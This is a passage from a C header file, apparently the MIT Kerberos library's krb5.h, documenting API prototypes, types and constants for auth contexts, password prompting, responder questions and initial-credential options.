context * @param [in] auth_context Authentication context * @param [out] seqnumber Local sequence number * * Retrieve the local sequence number from @a auth_context and return it in @a * seqnumber. The #KRB5_AUTH_CONTEXT_DO_SEQUENCE flag must be set in @a * auth_context for this function to be useful. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_getlocalseqnumber(krb5_context context, krb5_auth_context auth_context, krb5_int32 *seqnumber); /** * Retrieve the remote sequence number from an auth context. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [out] seqnumber Remote sequence number * * Retrieve the remote sequence number from @a auth_context and return it in @a * seqnumber. The #KRB5_AUTH_CONTEXT_DO_SEQUENCE flag must be set in @a * auth_context for this function to be useful. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_getremoteseqnumber(krb5_context context, krb5_auth_context auth_context, krb5_int32 *seqnumber); /** * Cause an auth context to use cipher state. * * @param [in] context Library context * @param [in] auth_context Authentication context * * Prepare @a auth_context to use cipher state when krb5_mk_priv() or * krb5_rd_priv() encrypt or decrypt data. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_initivector(krb5_context context, krb5_auth_context auth_context); /** * Set the replay cache in an auth context. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] rcache Replay cache haddle * * This function sets the replay cache in @a auth_context to @a rcache. @a * rcache will be closed when @a auth_context is freed, so the caller should * relinquish that responsibility. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_setrcache(krb5_context context, krb5_auth_context auth_context, krb5_rcache rcache); /** * Retrieve the replay cache from an auth context. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [out] rcache Replay cache handle * * This function fetches the replay cache from @a auth_context. The caller * should not close @a rcache. * * @retval 0 (always) */ krb5_error_code KRB5_CALLCONV_WRONG krb5_auth_con_getrcache(krb5_context context, krb5_auth_context auth_context, krb5_rcache *rcache); /** * Retrieve the authenticator from an auth context. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [out] authenticator Authenticator * * Use krb5_free_authenticator() to free @a authenticator when it is no longer * needed. * * @retval 0 Success. Otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_getauthenticator(krb5_context context, krb5_auth_context auth_context, krb5_authenticator **authenticator); /** * Set checksum type in an an auth context. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] cksumtype Checksum type * * This function sets the checksum type in @a auth_context to be used by * krb5_mk_req() for the authenticator checksum. * * @retval 0 Success. Otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_set_req_cksumtype(krb5_context context, krb5_auth_context auth_context, krb5_cksumtype cksumtype); #define KRB5_REALM_BRANCH_CHAR '.' /* * end "func-proto.h" */ /* * begin stuff from libos.h */ /** * @brief Read a password from keyboard input. * * @param [in] context Library context * @param [in] prompt First user prompt when reading password * @param [in] prompt2 Second user prompt (NULL to prompt only once) * @param [out] return_pwd Returned password * @param [in,out] size_return On input, maximum size of password; on output, * size of password read * * This function reads a password from keyboard input and stores it in @a * return_pwd. @a size_return should be set by the caller to the amount of * storage space available in @a return_pwd; on successful return, it will be * set to the length of the password read. * * @a prompt is printed to the terminal, followed by ": ", and then a password * is read from the keyboard. * * If @a prompt2 is NULL, the password is read only once. Otherwise, @a * prompt2 is printed to the terminal and a second password is read. If the * two passwords entered are not identical, KRB5_LIBOS_BADPWDMATCH is returned. * * Echoing is turned off when the password is read. * * @retval * 0 Success * @return * Error in reading or verifying the password * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_read_password(krb5_context context, const char *prompt, const char *prompt2, char *return_pwd, unsigned int *size_return); /** * Convert a principal name to a local name. * * @param [in] context Library context * @param [in] aname Principal name * @param [in] lnsize_in Space available in @a lname * @param [out] lname Local name buffer to be filled in * * If @a aname does not correspond to any local account, KRB5_LNAME_NOTRANS is * returned. If @a lnsize_in is too small for the local name, * KRB5_CONFIG_NOTENUFSPACE is returned. * * Local names, rather than principal names, can be used by programs that * translate to an environment-specific name (for example, a user account * name). * * @retval * 0 Success * @retval * System errors * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_aname_to_localname(krb5_context context, krb5_const_principal aname, int lnsize_in, char *lname); /** * Get the Kerberos realm names for a host. * * @param [in] context Library context * @param [in] host Host name (or NULL) * @param [out] realmsp Null-terminated list of realm names * * Fill in @a realmsp with a pointer to a null-terminated list of realm names. * If there are no known realms for the host, a list containing the referral * (empty) realm is returned. * * If @a host is NULL, the local host's realms are determined. * * Use krb5_free_host_realm() to release @a realmsp when it is no longer * needed. * * @retval * 0 Success * @retval * ENOMEM Insufficient memory * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_get_host_realm(krb5_context context, const char *host, char ***realmsp); /** * * @param [in] context Library context * @param [in] hdata Host name (or NULL) * @param [out] realmsp Null-terminated list of realm names * * Fill in @a realmsp with a pointer to a null-terminated list of realm names * obtained through heuristics or insecure resolution methods which have lower * priority than KDC referrals. * * If @a host is NULL, the local host's realms are determined. * * Use krb5_free_host_realm() to release @a realmsp when it is no longer * needed. */ krb5_error_code KRB5_CALLCONV krb5_get_fallback_host_realm(krb5_context context, krb5_data *hdata, char ***realmsp); /** * Free the memory allocated by krb5_get_host_realm(). * * @param [in] context Library context * @param [in] realmlist List of realm names to be released * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_free_host_realm(krb5_context context, char *const *realmlist); /** * Determine if a principal is authorized to log in as a local user. * * @param [in] context Library context * @param [in] principal Principal name * @param [in] luser Local username * * Determine whether @a principal is authorized to log in as a local user @a * luser. * * @retval * TRUE Principal is authorized to log in as user; FALSE otherwise. */ krb5_boolean KRB5_CALLCONV krb5_kuserok(krb5_context context, krb5_principal principal, const char *luser); /** * Generate auth context addresses from a connected socket. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] infd Connected socket descriptor * @param [in] flags Flags * * This function sets the local and/or remote addresses in @a auth_context * based on the local and remote endpoints of the socket @a infd. The * following flags determine the operations performed: * * @li #KRB5_AUTH_CONTEXT_GENERATE_LOCAL_ADDR Generate local address. * @li #KRB5_AUTH_CONTEXT_GENERATE_REMOTE_ADDR Generate remote address. * @li #KRB5_AUTH_CONTEXT_GENERATE_LOCAL_FULL_ADDR Generate local address and port. * @li #KRB5_AUTH_CONTEXT_GENERATE_REMOTE_FULL_ADDR Generate remote address and port. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_genaddrs(krb5_context context, krb5_auth_context auth_context, int infd, int flags); /** * Set time offset field in a krb5_context structure. * * @param [in] context Library context * @param [in] seconds Real time, seconds portion * @param [in] microseconds Real time, microseconds portion * * This function sets the time offset in @a context to the difference between * the system time and the real time as determined by @a seconds and @a * microseconds. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_set_real_time(krb5_context context, krb5_timestamp seconds, krb5_int32 microseconds); /** * Return the time offsets from the os context. * * @param [in] context Library context * @param [out] seconds Time offset, seconds portion * @param [out] microseconds Time offset, microseconds portion * * This function returns the time offsets in @a context. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_get_time_offsets(krb5_context context, krb5_timestamp *seconds, krb5_int32 *microseconds); /* str_conv.c */ /** * Convert a string to an encryption type. * * @param [in] string String to convert to an encryption type * @param [out] enctypep Encryption type * * @retval 0 Success; otherwise - EINVAL */ krb5_error_code KRB5_CALLCONV krb5_string_to_enctype(char *string, krb5_enctype *enctypep); /** * Convert a string to a salt type. * * @param [in] string String to convert to an encryption type * @param [out] salttypep Salt type to be filled in * * @retval 0 Success; otherwise - EINVAL */ krb5_error_code KRB5_CALLCONV krb5_string_to_salttype(char *string, krb5_int32 *salttypep); /** * Convert a string to a checksum type. * * @param [in] string String to be converted * @param [out] cksumtypep Checksum type to be filled in * * @retval 0 Success; otherwise - EINVAL */ krb5_error_code KRB5_CALLCONV krb5_string_to_cksumtype(char *string, krb5_cksumtype *cksumtypep); /** * Convert a string to a timestamp. * * @param [in] string String to be converted * @param [out] timestampp Pointer to timestamp * * @retval 0 Success; otherwise - EINVAL */ krb5_error_code KRB5_CALLCONV krb5_string_to_timestamp(char *string, krb5_timestamp *timestampp); /** * Convert a string to a delta time value. * * @param [in] string String to be converted * @param [out] deltatp Delta time to be filled in * * @retval 0 Success; otherwise - KRB5_DELTAT_BADFORMAT */ krb5_error_code KRB5_CALLCONV krb5_string_to_deltat(char *string, krb5_deltat *deltatp); /** * Convert an encryption type to a string. * * @param [in] enctype Encryption type * @param [out] buffer Buffer to hold encryption type string * @param [in] buflen Storage available in @a buffer * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_enctype_to_string(krb5_enctype enctype, char *buffer, size_t buflen); /** * Convert an encryption type to a name or alias. * * @param [in] enctype Encryption type * @param [in] shortest Flag * @param [out] buffer Buffer to hold encryption type string * @param [in] buflen Storage available in @a buffer * * If @a shortest is FALSE, this function returns the enctype's canonical name * (like "aes128-cts-hmac-sha1-96"). If @a shortest is TRUE, it return the * enctype's shortest alias (like "aes128-cts"). * * @version New in 1.9 * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_enctype_to_name(krb5_enctype enctype, krb5_boolean shortest, char *buffer, size_t buflen); /** * Convert a salt type to a string. * * @param [in] salttype Salttype to convert * @param [out] buffer Buffer to receive the converted string * @param [in] buflen Storage available in @a buffer * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_salttype_to_string(krb5_int32 salttype, char *buffer, size_t buflen); /** * Convert a checksum type to a string. * * @param [in] cksumtype Checksum type * @param [out] buffer Buffer to hold converted checksum type * @param [in] buflen Storage available in @a buffer * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cksumtype_to_string(krb5_cksumtype cksumtype, char *buffer, size_t buflen); /** * Convert a timestamp to a string. * * @param [in] timestamp Timestamp to convert * @param [out] buffer Buffer to hold converted timestamp * @param [in] buflen Storage available in @a buffer * * The string is returned in the locale's appropriate date and time * representation. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_timestamp_to_string(krb5_timestamp timestamp, char *buffer, size_t buflen); /** * Convert a timestamp to a string, with optional output padding * * @param [in] timestamp Timestamp to convert * @param [out] buffer Buffer to hold the converted timestamp * @param [in] buflen Length of buffer * @param [in] pad Optional value to pad @a buffer if converted * timestamp does not fill it * * If @a pad is not NULL, @a buffer is padded out to @a buflen - 1 characters * with the value of *@a pad. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_timestamp_to_sfstring(krb5_timestamp timestamp, char *buffer, size_t buflen, char *pad); /** * Convert a relative time value to a string. * * @param [in] deltat Relative time value to convert * @param [out] buffer Buffer to hold time string * @param [in] buflen Storage available in @a buffer * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_deltat_to_string(krb5_deltat deltat, char *buffer, size_t buflen); /* The name of the Kerberos ticket granting service... and its size */ #define KRB5_TGS_NAME "krbtgt" #define KRB5_TGS_NAME_SIZE 6 /* flags for recvauth */ #define KRB5_RECVAUTH_SKIP_VERSION 0x0001 #define KRB5_RECVAUTH_BADAUTHVERS 0x0002 /* initial ticket api functions */ /** Text for prompt used in prompter callback function. */ typedef struct _krb5_prompt { char *prompt; /**< The prompt to show to the user */ int hidden; /**< Boolean; informative prompt or hidden (e.g. PIN) */ krb5_data *reply; /**< Must be allocated before call to prompt routine */ } krb5_prompt; /** Pointer to a prompter callback function. */ typedef krb5_error_code (KRB5_CALLCONV *krb5_prompter_fct)(krb5_context context, void *data, const char *name, const char *banner, int num_prompts, krb5_prompt prompts[]); /** * Prompt user for password. * * @param [in] context Library context * @param data Unused (callback argument) * @param [in] name Name to output during prompt * @param [in] banner Banner to output during prompt * @param [in] num_prompts Number of prompts in @a prompts * @param [in] prompts Array of prompts and replies * * This function is intended to be used as a prompter callback for * krb5_get_init_creds_password() or krb5_init_creds_init(). * * Writes @a name and @a banner to stdout, each followed by a newline, then * writes each prompt field in the @a prompts array, followed by ": ", and sets * the reply field of the entry to a line of input read from stdin. If the * hidden flag is set for a prompt, then terminal echoing is turned off when * input is read. * * @retval * 0 Success * @return * Kerberos error codes * */ krb5_error_code KRB5_CALLCONV krb5_prompter_posix(krb5_context context, void *data, const char *name, const char *banner, int num_prompts, krb5_prompt prompts[]); /** * Long-term password responder question * * This question is asked when the long-term password is needed. It has no * challenge and the response is simply the password string. * * @version New in 1.11 */ #define KRB5_RESPONDER_QUESTION_PASSWORD "password" /** * OTP responder question * * The OTP responder question is asked when the KDC indicates that an OTP * value is required in order to complete the authentication. The JSON format * of the challenge is: * * @n { * @n "service": <string (optional)>, * @n "tokenInfo": [ * @n { * @n "flags": <number>, * @n "vendor": <string (optional)>, * @n "challenge": <string (optional)>, * @n "length": <number (optional)>, * @n "format": <number (optional)>, * @n "tokenID": <string (optional)>, * @n "algID": <string (optional)>, * @n }, * @n ... * @n ] * @n } * * The answer to the question MUST be JSON formatted: * * @n { * @n "tokeninfo": <number>, * @n "value": <string (optional)>, * @n "pin": <string (optional)>, * @n } * * For more detail, please see RFC 6560. * * @version New in 1.11 */ #define KRB5_RESPONDER_QUESTION_OTP "otp" /** * These format constants identify the format of the token value. */ #define KRB5_RESPONDER_OTP_FORMAT_DECIMAL 0 #define KRB5_RESPONDER_OTP_FORMAT_HEXADECIMAL 1 #define KRB5_RESPONDER_OTP_FORMAT_ALPHANUMERIC 2 /** * This flag indicates that the token value MUST be collected. */ #define KRB5_RESPONDER_OTP_FLAGS_COLLECT_TOKEN 0x0001 /** * This flag indicates that the PIN value MUST be collected. */ #define KRB5_RESPONDER_OTP_FLAGS_COLLECT_PIN 0x0002 /** * This flag indicates that the token is now in re-synchronization mode with * the server. The user is expected to reply with the next code displayed on * the token. */ #define KRB5_RESPONDER_OTP_FLAGS_NEXTOTP 0x0004 /** * This flag indicates that the PIN MUST be returned as a separate item. This * flag only takes effect if KRB5_RESPONDER_OTP_FLAGS_COLLECT_PIN is set. If * this flag is not set, the responder may either concatenate PIN + token value * and store it as "value" in the answer or it may return them separately. If * they are returned separately, they will be concatenated internally. */ #define KRB5_RESPONDER_OTP_FLAGS_SEPARATE_PIN 0x0008 /** * PKINIT responder question * * The PKINIT responder question is asked when the client needs a password * that's being used to protect key information, and is formatted as a JSON * object. A specific identity's flags value, if not zero, is the bitwise-OR * of one or more of the KRB5_RESPONDER_PKINIT_FLAGS_TOKEN_* flags defined * below, and possibly other flags to be added later. Any resemblance to * similarly-named CKF_* values in the PKCS#11 API should not be depended on. * * @n { * @n identity <string> : flags <number>, * @n ... * @n } * * The answer to the question MUST be JSON formatted: * * @n { * @n identity <string> : password <string>, * @n ... * @n } * * @version New in 1.12 */ #define KRB5_RESPONDER_QUESTION_PKINIT "pkinit" /** * This flag indicates that an incorrect PIN was supplied at least once since * the last time the correct PIN was supplied. */ #define KRB5_RESPONDER_PKINIT_FLAGS_TOKEN_USER_PIN_COUNT_LOW (1 << 0) /** * This flag indicates that supplying an incorrect PIN will cause the token to * lock itself. */ #define KRB5_RESPONDER_PKINIT_FLAGS_TOKEN_USER_PIN_FINAL_TRY (1 << 1) /** * This flag indicates that the user PIN is locked, and you can't log in to the * token with it. */ #define KRB5_RESPONDER_PKINIT_FLAGS_TOKEN_USER_PIN_LOCKED (1 << 2) /** * A container for a set of preauthentication questions and answers * * A responder context is supplied by the krb5 authentication system to a @ref * krb5_responder_fn callback. It contains a list of questions and can receive * answers. Questions contained in a responder context can be listed using * krb5_responder_list_questions(), retrieved using * krb5_responder_get_challenge(), or answered using * krb5_responder_set_answer(). The form of a question's challenge and * answer depend on the question name. * * @version New in 1.11 */ typedef struct krb5_responder_context_st *krb5_responder_context; /** * List the question names contained in the responder context. * * @param [in] ctx Library context * @param [in] rctx Responder context * * Return a pointer to a null-terminated list of question names which are * present in @a rctx. The pointer is an alias, valid only as long as the * lifetime of @a rctx, and should not be modified or freed by the caller. A * question's challenge can be retrieved using krb5_responder_get_challenge() * and answered using krb5_responder_set_answer(). * * @version New in 1.11 */ const char * const * KRB5_CALLCONV krb5_responder_list_questions(krb5_context ctx, krb5_responder_context rctx); /** * Retrieve the challenge data for a given question in the responder context. * * @param [in] ctx Library context * @param [in] rctx Responder context * @param [in] question Question name * * Return a pointer to a C string containing the challenge for @a question * within @a rctx, or NULL if the question is not present in @a rctx. The * structure of the question depends on the question name, but will always be * printable UTF-8 text. The returned pointer is an alias, valid only as long * as the lifetime of @a rctx, and should not be modified or freed by the * caller. * * @version New in 1.11 */ const char * KRB5_CALLCONV krb5_responder_get_challenge(krb5_context ctx, krb5_responder_context rctx, const char *question); /** * Answer a named question in the responder context. * * @param [in] ctx Library context * @param [in] rctx Responder context * @param [in] question Question name * @param [in] answer The string to set (MUST be printable UTF-8) * * This function supplies an answer to @a question within @a rctx. The * appropriate form of the answer depends on the question name. * * @retval EINVAL @a question is not present within @a rctx * * @version New in 1.11 */ krb5_error_code KRB5_CALLCONV krb5_responder_set_answer(krb5_context ctx, krb5_responder_context rctx, const char *question, const char *answer); /** * Responder function for an initial credential exchange. * * @param [in] ctx Library context * @param [in] data Callback data * @param [in] rctx Responder context * * A responder function is like a prompter function, but is used for handling * questions and answers as potentially complex data types. Client * preauthentication modules will insert a set of named "questions" into * the responder context. Each question may optionally contain a challenge. * This challenge is printable UTF-8, but may be an encoded value. The * precise encoding and contents of the challenge are specific to the question * asked. When the responder is called, it should answer all the questions it * understands. Like the challenge, the answer MUST be printable UTF-8, but * may contain structured/encoded data formatted to the expected answer format * of the question. * * If a required question is unanswered, the prompter may be called. */ typedef krb5_error_code (KRB5_CALLCONV *krb5_responder_fn)(krb5_context ctx, void *data, krb5_responder_context rctx); typedef struct _krb5_responder_otp_tokeninfo { krb5_flags flags; krb5_int32 format; /* -1 when not specified. */ krb5_int32 length; /* -1 when not specified. */ char *vendor; char *challenge; char *token_id; char *alg_id; } krb5_responder_otp_tokeninfo; typedef struct _krb5_responder_otp_challenge { char *service; krb5_responder_otp_tokeninfo **tokeninfo; } krb5_responder_otp_challenge; /** * Decode the KRB5_RESPONDER_QUESTION_OTP to a C struct. * * A convenience function which parses the KRB5_RESPONDER_QUESTION_OTP * question challenge data, making it available in native C. The main feature * of this function is the ability to interact with OTP tokens without parsing * the JSON. * * The returned value must be passed to krb5_responder_otp_challenge_free() to * be freed. * * @param [in] ctx Library context * @param [in] rctx Responder context * @param [out] chl Challenge structure * * @version New in 1.11 */ krb5_error_code KRB5_CALLCONV krb5_responder_otp_get_challenge(krb5_context ctx, krb5_responder_context rctx, krb5_responder_otp_challenge **chl); /** * Answer the KRB5_RESPONDER_QUESTION_OTP question. * * @param [in] ctx Library context * @param [in] rctx Responder context * @param [in] ti The index of the tokeninfo selected * @param [in] value The value to set, or NULL for none * @param [in] pin The pin to set, or NULL for none * * @version New in 1.11 */ krb5_error_code KRB5_CALLCONV krb5_responder_otp_set_answer(krb5_context ctx, krb5_responder_context rctx, size_t ti, const char *value, const char *pin); /** * Free the value returned by krb5_responder_otp_get_challenge(). * * @param [in] ctx Library context * @param [in] rctx Responder context * @param [in] chl The challenge to free * * @version New in 1.11 */ void KRB5_CALLCONV krb5_responder_otp_challenge_free(krb5_context ctx, krb5_responder_context rctx, krb5_responder_otp_challenge *chl); typedef struct _krb5_responder_pkinit_identity { char *identity; krb5_int32 token_flags; /* 0 when not specified or not applicable. */ } krb5_responder_pkinit_identity; typedef struct _krb5_responder_pkinit_challenge { krb5_responder_pkinit_identity **identities; } krb5_responder_pkinit_challenge; /** * Decode the KRB5_RESPONDER_QUESTION_PKINIT to a C struct. * * A convenience function which parses the KRB5_RESPONDER_QUESTION_PKINIT * question challenge data, making it available in native C. The main feature * of this function is the ability to read the challenge without parsing * the JSON. * * The returned value must be passed to krb5_responder_pkinit_challenge_free() * to be freed. * * @param [in] ctx Library context * @param [in] rctx Responder context * @param [out] chl_out Challenge structure * * @version New in 1.12 */ krb5_error_code KRB5_CALLCONV krb5_responder_pkinit_get_challenge(krb5_context ctx, krb5_responder_context rctx, krb5_responder_pkinit_challenge **chl_out); /** * Answer the KRB5_RESPONDER_QUESTION_PKINIT question for one identity. * * @param [in] ctx Library context * @param [in] rctx Responder context * @param [in] identity The identity for which a PIN is being supplied * @param [in] pin The provided PIN, or NULL for none * * @version New in 1.12 */ krb5_error_code KRB5_CALLCONV krb5_responder_pkinit_set_answer(krb5_context ctx, krb5_responder_context rctx, const char *identity, const char *pin); /** * Free the value returned by krb5_responder_pkinit_get_challenge(). * * @param [in] ctx Library context * @param [in] rctx Responder context * @param [in] chl The challenge to free * * @version New in 1.12 */ void KRB5_CALLCONV krb5_responder_pkinit_challenge_free(krb5_context ctx, krb5_responder_context rctx, krb5_responder_pkinit_challenge *chl); /** Store options for @c _krb5_get_init_creds */ typedef struct _krb5_get_init_creds_opt { krb5_flags flags; krb5_deltat tkt_life; krb5_deltat renew_life; int forwardable; int proxiable; krb5_enctype *etype_list; int etype_list_length; krb5_address **address_list; krb5_preauthtype *preauth_list; int preauth_list_length; krb5_data *salt; } krb5_get_init_creds_opt; #define KRB5_GET_INIT_CREDS_OPT_TKT_LIFE 0x0001 #define KRB5_GET_INIT_CREDS_OPT_RENEW_LIFE 0x0002 #define KRB5_GET_INIT_CREDS_OPT_FORWARDABLE 0x0004 #define KRB5_GET_INIT_CREDS_OPT_PROXIABLE 0x0008 #define KRB5_GET_INIT_CREDS_OPT_ETYPE_LIST 0x0010 #define KRB5_GET_INIT_CREDS_OPT_ADDRESS_LIST 0x0020 #define KRB5_GET_INIT_CREDS_OPT_PREAUTH_LIST 0x0040 #define KRB5_GET_INIT_CREDS_OPT_SALT 0x0080 #define KRB5_GET_INIT_CREDS_OPT_CHG_PWD_PRMPT 0x0100 #define KRB5_GET_INIT_CREDS_OPT_CANONICALIZE 0x0200 #define KRB5_GET_INIT_CREDS_OPT_ANONYMOUS 0x0400 /** * Allocate a new initial credential options structure. * * @param [in] context Library context * @param [out] opt New options structure * * This function is the preferred way to create an options structure for * getting initial credentials, and is required to make use of certain options. * Use krb5_get_init_creds_opt_free() to free @a opt when it is no longer * needed. * * @retval 0 - Success; Kerberos errors otherwise. */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_opt_alloc(krb5_context context, krb5_get_init_creds_opt **opt); /** * Free initial credential options. * * @param [in] context Library context * @param [in] opt Options structure to free * * @sa krb5_get_init_creds_opt_alloc() */ void KRB5_CALLCONV krb5_get_init_creds_opt_free(krb5_context context, krb5_get_init_creds_opt *opt); /** @deprecated Use krb5_get_init_creds_opt_alloc() instead. */ void KRB5_CALLCONV krb5_get_init_creds_opt_init(krb5_get_init_creds_opt *opt); /** * Set the ticket lifetime in initial credential options. * * @param [in] opt Options structure * @param [in] tkt_life Ticket lifetime */ void KRB5_CALLCONV krb5_get_init_creds_opt_set_tkt_life(krb5_get_init_creds_opt *opt, krb5_deltat tkt_life); /** * Set the ticket renewal lifetime in initial credential options. * * @param [in] opt Pointer to @a options field * @param [in] renew_life Ticket renewal lifetime */ void KRB5_CALLCONV krb5_get_init_creds_opt_set_renew_life(krb5_get_init_creds_opt *opt, krb5_deltat renew_life); /** * Set or unset the forwardable flag in initial credential options. * * @param [in] opt Options structure * @param [in] forwardable Whether credentials should be forwardable */ void KRB5_CALLCONV krb5_get_init_creds_opt_set_forwardable(krb5_get_init_creds_opt *opt, int forwardable); /** * Set or unset the proxiable flag in initial credential options. * * @param [in] opt Options structure * @param [in] proxiable Whether credentials should be proxiable */ void KRB5_CALLCONV krb5_get_init_creds_opt_set_proxiable(krb5_get_init_creds_opt *opt, int proxiable); /** * Set or unset the canonicalize flag in initial credential options. * * @param [in] opt Options structure * @param [in] canonicalize Whether to canonicalize client principal */ void KRB5_CALLCONV krb5_get_init_creds_opt_set_canonicalize(krb5_get_init_creds_opt *opt, int canonicalize); /** * Set or unset the anonymous flag in initial credential options. * * @param [in] opt Options structure * @param [in] anonymous Whether to make an anonymous request * * This function may be used to request anonymous credentials from the KDC by * setting @a anonymous to non-zero. Note that anonymous credentials are only * a request; clients must verify that credentials are anonymous if that is a * requirement. */ void KRB5_CALLCONV krb5_get_init_creds_opt_set_anonymous(krb5_get_init_creds_opt *opt, int anonymous); /** * Set allowable encryption types in initial credential options. * * @param [in] opt Options structure * @param [in] etype_list Array of encryption types * @param [in] etype_list_length Length of @a etype_list */ void KRB5_CALLCONV krb5_get_init_creds_opt_set_etype_list(krb5_get_init_creds_opt *opt, krb5_enctype *etype_list, int etype_list_length); /** * Set address restrictions in initial credential options. * * @param [in] opt Options structure * @param [in] addresses Null-terminated array of addresses */ void KRB5_CALLCONV krb5_get_init_creds_opt_set_address_list(krb5_get_init_creds_opt *opt, krb5_address **addresses); /** * Set preauthentication types in initial credential options. * * @param [in] opt Options structure * @param [in] preauth_list Array of preauthentication types * @param [in] preauth_list_length Length of @a preauth_list * * This function can be used to perform optimistic preauthentication when * getting initial credentials, in combination with * krb5_get_init_creds_opt_set_salt() and krb5_get_init_creds_opt_set_pa(). */ void KRB5_CALLCONV krb5_get_init_creds_opt_set_preauth_list(krb5_get_init_creds_opt *opt, krb5_preauthtype *preauth_list, int preauth_list_length); /** * Set salt for optimistic preauthentication in initial credential options. * * @param [in] opt Options structure * @param [in] salt Salt data * * When getting initial credentials with a password, a salt string it used to * convert the password to a key. Normally this salt is obtained from the * first KDC reply, but when performing optimistic preauthentication, the * client may need to supply the salt string with this function. */ void KRB5_CALLCONV krb5_get_init_creds_opt_set_salt(krb5_get_init_creds_opt *opt, krb5_data *salt); /** * Set or unset change-password-prompt flag in initial credential options. * * @param [in] opt Options structure * @param [in] prompt Whether to prompt to change password * * This flag is on by default. It controls whether * krb5_get_init_creds_password() will react to an expired-password error by * prompting for a new password and attempting to change the old one. */ void KRB5_CALLCONV krb5_get_init_creds_opt_set_change_password_prompt(krb5_get_init_creds_opt *opt, int prompt); /** Generic preauth option attribute/value pairs */ typedef struct _krb5_gic_opt_pa_data { char *attr; char *value; } krb5_gic_opt_pa_data; /** * Supply options for preauthentication in initial credential options. * * @param [in] context Library context * @param [in] opt Options structure * @param [in] attr Preauthentication option name * @param [in] value Preauthentication option value * * This function allows the caller to supply options for preauthentication. * The values of @a attr and @a value are supplied to each preauthentication * module available within @a context. */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_opt_set_pa(krb5_context context, krb5_get_init_creds_opt *opt, const char *attr, const char *value); /** * Set location of FAST armor ccache in initial credential options. * * @param [in] context Library context * @param [in] opt Options * @param [in] fast_ccache_name Credential cache name * * Sets the location of a credential cache containing an armor ticket to * protect an initial credential exchange using the FAST protocol extension. * * In version 1.7, setting an armor ccache requires that FAST be used for the * exchange. In version 1.8 or later, setting the armor ccache causes FAST to * be used if the KDC supports it; krb5_get_init_creds_opt_set_fast_flags() * must be used to require that FAST be used. */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_opt_set_fast_ccache_name(krb5_context context, krb5_get_init_creds_opt *opt, const char *fast_ccache_name); /** * Set FAST armor cache in initial credential options. * * @param [in] context Library context * @param [in] opt Options * @param [in] ccache Credential cache handle * * This function is similar to krb5_get_init_creds_opt_set_fast_ccache_name(), * but uses a credential cache handle instead of a name. * * @version New in 1.9 */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_opt_set_fast_ccache(krb5_context context, krb5_get_init_creds_opt *opt, krb5_ccache ccache); /** * Set an input credential cache in initial credential options. * * @param [in] context Library context * @param [in] opt Options * @param [in] ccache Credential cache handle * * If an input credential cache is set, then the krb5_get_init_creds family of * APIs will read settings from it. Setting an input ccache is desirable when * the application wishes to perform authentication in the same way (using the * same preauthentication mechanisms, and making the same non-security- * sensitive choices) as the previous authentication attempt, which stored * information in the passed-in ccache. * * @version New in 1.11 */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_opt_set_in_ccache(krb5_context context, krb5_get_init_creds_opt *opt, krb5_ccache ccache); /** * Set an output credential cache in initial credential options. * * @param [in] context Library context * @param [in] opt Options * @param [in] ccache Credential cache handle * * If an output credential cache is set, then the krb5_get_init_creds family of * APIs will write credentials to it. Setting an output ccache is desirable * both because it simplifies calling code and because it permits the * krb5_get_init_creds APIs to write out configuration information about the * realm to the ccache. */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_opt_set_out_ccache(krb5_context context, krb5_get_init_creds_opt *opt, krb5_ccache ccache); /** * @brief Ask the KDC to include or not include a PAC in the ticket * * @param [in] context Library context * @param [in] opt Options structure * @param [in] req_pac Whether to request a PAC or not * * If this option is set, the AS request will include a PAC-REQUEST pa-data * item explicitly asking the KDC to either include or not include a privilege * attribute certificate in the ticket authorization data. By default, no * request is made; typically the KDC will default to including a PAC if it * supports them. * * @version New in 1.15 */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_opt_set_pac_request(krb5_context context, krb5_get_init_creds_opt *opt, krb5_boolean req_pac); /** * Set FAST flags in initial credential options. * * @param [in] context Library context * @param [in] opt Options * @param [in] flags FAST flags * * The following flag values are valid: * @li #KRB5_FAST_REQUIRED - Require FAST to be used * * @retval * 0 - Success; Kerberos errors otherwise. */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_opt_set_fast_flags(krb5_context context, krb5_get_init_creds_opt *opt, krb5_flags flags); /** * Retrieve FAST flags from initial credential options. * * @param [in] context Library context * @param [in] opt Options * @param 